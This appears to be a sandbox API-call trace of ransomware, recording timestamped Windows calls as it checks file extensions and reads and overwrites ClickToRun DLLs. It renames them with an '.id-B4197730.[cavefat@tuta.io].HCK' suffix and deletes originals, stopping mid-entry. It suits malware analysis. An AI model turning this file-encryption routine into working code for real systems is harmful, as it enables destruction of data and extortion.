[0163.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0163.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0163.524] lstrlenW (lpString=".doc") returned 4 [0163.524] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0163.524] lstrlenW (lpString=".docx") returned 5 [0163.524] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0163.524] lstrlenW (lpString=".pdf") returned 4 [0163.524] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0163.524] lstrlenW (lpString=".xls") returned 4 [0163.524] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0163.524] lstrlenW (lpString=".xlsx") returned 5 [0163.524] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0163.524] lstrlenW (lpString=".ppt") returned 4 [0163.524] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0163.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0163.524] lstrlenW (lpString=".zip") returned 4 [0163.524] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0163.524] lstrlenW (lpString=".rar") returned 4 [0163.524] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0163.524] lstrlenW (lpString=".bz2") returned 4 [0163.524] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0163.524] lstrlenW (lpString=".7z") returned 3 [0163.524] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0163.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0163.524] lstrlenW (lpString=".dbf") returned 4 [0163.524] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0163.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0163.524] lstrlenW (lpString=".1cd") returned 4 [0163.524] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0163.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0163.524] lstrlenW (lpString=".jpg") returned 4 [0163.524] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0163.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0163.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0163.524] lstrlenW (lpString=".doc") returned 4 [0163.524] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0163.525] lstrlenW (lpString=".docx") returned 5 [0163.525] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0163.525] lstrlenW (lpString=".pdf") returned 4 [0163.525] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0163.525] lstrlenW (lpString=".xls") returned 4 [0163.525] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0163.525] lstrlenW (lpString=".xlsx") returned 5 [0163.525] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0163.525] lstrlenW (lpString=".ppt") returned 4 [0163.525] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0163.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0163.525] lstrlenW (lpString=".zip") returned 4 [0163.525] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0163.525] lstrlenW (lpString=".rar") returned 4 [0163.525] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0163.525] lstrlenW (lpString=".bz2") returned 4 [0163.525] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0163.525] lstrlenW (lpString=".7z") returned 3 [0163.525] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0163.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0163.525] lstrlenW (lpString=".dbf") returned 4 [0163.525] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0163.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0163.525] lstrlenW (lpString=".1cd") returned 4 [0163.525] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0163.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0163.525] lstrlenW (lpString=".jpg") returned 4 [0163.525] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0163.525] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0163.525] lstrlenW (lpString="mso40uiwin32client.dll") returned 22 [0163.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.525] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=9330784) returned 1 [0163.526] CloseHandle (hObject=0x39c) returned 1 [0163.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20 [0163.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0163.526] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0163.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.527] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0x0) returned 1 [0163.527] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0163.527] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x34d1058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0163.529] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x2f7575, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0163.529] ReadFile (in: hFile=0x39c, lpBuffer=0x3511058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3511058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0163.536] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.537] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x8a6060, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0163.537] ReadFile (in: hFile=0x39c, lpBuffer=0x3551058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3551058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0163.552] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.552] WriteFile (in: hFile=0x39c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xc0118, lpNumberOfBytesWritten=0x25cfca8, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfca8*=0xc0118, lpOverlapped=0x0) returned 1 [0163.932] SetEndOfFile (hFile=0x39c) returned 1 [0163.933] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3db5ff8 [0163.935] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0163.935] WriteFile (in: hFile=0x39c, lpBuffer=0x3db5ff8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3db5ff8*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0163.937] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x2f7575, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0163.937] WriteFile (in: hFile=0x39c, lpBuffer=0x3db5ff8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3db5ff8*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0163.940] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x8a6060, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0163.940] WriteFile (in: hFile=0x39c, lpBuffer=0x3db5ff8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3db5ff8*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0163.941] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3db5ff8 | out: hHeap=0x6b0000) returned 1 [0163.942] CloseHandle (hObject=0x39c) returned 1 [0163.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0163.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0163.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0163.943] lstrlenW (lpString=".doc") returned 4 [0163.943] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0163.943] lstrlenW (lpString=".docx") returned 5 [0163.943] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0163.943] lstrlenW (lpString=".pdf") returned 4 [0163.943] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0163.943] lstrlenW (lpString=".xls") returned 4 [0163.943] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0163.943] lstrlenW (lpString=".xlsx") returned 5 [0163.943] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0163.943] lstrlenW (lpString=".ppt") returned 4 [0163.943] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0163.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0163.943] lstrlenW (lpString=".zip") returned 4 [0163.943] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0163.943] lstrlenW (lpString=".rar") returned 4 [0163.943] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0163.943] lstrlenW (lpString=".bz2") returned 4 [0163.943] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0163.943] lstrlenW (lpString=".7z") returned 3 [0163.943] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0163.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0163.943] lstrlenW (lpString=".dbf") returned 4 [0163.943] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0163.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0163.943] lstrlenW (lpString=".1cd") returned 4 [0163.943] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0163.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0163.944] lstrlenW (lpString=".jpg") returned 4 [0163.944] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0163.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0163.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0163.944] lstrlenW (lpString=".doc") returned 4 [0163.944] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0163.944] lstrlenW (lpString=".docx") returned 5 [0163.944] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0163.944] lstrlenW (lpString=".pdf") returned 4 [0163.944] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0163.944] lstrlenW (lpString=".xls") returned 4 [0163.944] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0163.944] lstrlenW (lpString=".xlsx") returned 5 [0163.944] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0163.944] lstrlenW (lpString=".ppt") returned 4 [0163.944] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0163.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0163.944] lstrlenW (lpString=".zip") returned 4 [0163.944] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0163.944] lstrlenW (lpString=".rar") returned 4 [0163.944] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0163.944] lstrlenW (lpString=".bz2") returned 4 [0163.944] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0163.944] lstrlenW (lpString=".7z") returned 3 [0163.944] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0163.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0163.944] lstrlenW (lpString=".dbf") returned 4 [0163.944] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0163.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0163.944] lstrlenW (lpString=".1cd") returned 4 [0163.944] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0163.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0163.944] lstrlenW (lpString=".jpg") returned 4 [0163.944] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0163.944] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0163.944] lstrlenW (lpString="msvcp140.dll") returned 12 [0163.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.945] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=635040) returned 1 [0163.945] CloseHandle (hObject=0x39c) returned 1 [0163.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0163.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0163.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.945] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.945] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0163.945] GetLastError () returned 0x0 [0163.945] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x9b0a0, lpOverlapped=0x0) returned 1 [0163.958] WriteFile (in: hFile=0x394, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x9b0b0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x9b0b0, lpOverlapped=0x0) returned 1 [0163.965] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0163.965] WriteFile (in: hFile=0x394, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xec, lpOverlapped=0x0) returned 1 [0163.965] SetEndOfFile (hFile=0x394) returned 1 [0163.965] CloseHandle (hObject=0x394) returned 1 [0163.965] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.965] SetEndOfFile (hFile=0x39c) returned 1 [0164.688] CloseHandle (hObject=0x39c) returned 1 [0164.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0164.691] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 1 [0164.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0164.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0164.699] lstrlenW (lpString=".doc") returned 4 [0164.699] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.699] lstrlenW (lpString=".docx") returned 5 [0164.699] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0164.699] lstrlenW (lpString=".pdf") returned 4 [0164.699] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.733] lstrlenW (lpString=".xls") returned 4 [0164.733] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.733] lstrlenW (lpString=".xlsx") returned 5 [0164.733] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0164.733] lstrlenW (lpString=".ppt") returned 4 [0164.733] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0164.733] lstrlenW (lpString=".zip") returned 4 [0164.733] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.733] lstrlenW (lpString=".rar") returned 4 [0164.733] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.733] lstrlenW (lpString=".bz2") returned 4 [0164.733] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.733] lstrlenW (lpString=".7z") returned 3 [0164.733] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0164.733] lstrlenW (lpString=".dbf") returned 4 [0164.733] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0164.733] lstrlenW (lpString=".1cd") returned 4 [0164.733] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0164.733] lstrlenW (lpString=".jpg") returned 4 [0164.733] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0164.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0164.734] lstrlenW (lpString=".doc") returned 4 [0164.734] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.734] lstrlenW (lpString=".docx") returned 5 [0164.734] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0164.734] lstrlenW (lpString=".pdf") returned 4 [0164.734] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.734] lstrlenW (lpString=".xls") returned 4 [0164.734] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.734] lstrlenW (lpString=".xlsx") returned 5 [0164.734] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0164.734] lstrlenW (lpString=".ppt") returned 4 [0164.734] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0164.734] lstrlenW (lpString=".zip") returned 4 [0164.734] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.734] lstrlenW (lpString=".rar") returned 4 [0164.734] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.734] lstrlenW (lpString=".bz2") returned 4 [0164.734] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.734] lstrlenW (lpString=".7z") returned 3 [0164.734] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0164.734] lstrlenW (lpString=".dbf") returned 4 [0164.734] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0164.734] lstrlenW (lpString=".1cd") returned 4 [0164.734] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0164.734] lstrlenW (lpString=".jpg") returned 4 [0164.734] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.734] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0164.734] lstrlenW (lpString="StreamServer.dll") returned 16 [0164.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.735] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=1053784) returned 1 [0164.735] CloseHandle (hObject=0x39c) returned 1 [0164.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0164.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.735] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.735] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0164.736] GetLastError () returned 0x0 [0164.736] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0164.758] WriteFile (in: hFile=0x364, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0164.769] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x1468, lpOverlapped=0x0) returned 1 [0164.775] WriteFile (in: hFile=0x364, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x1470, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, 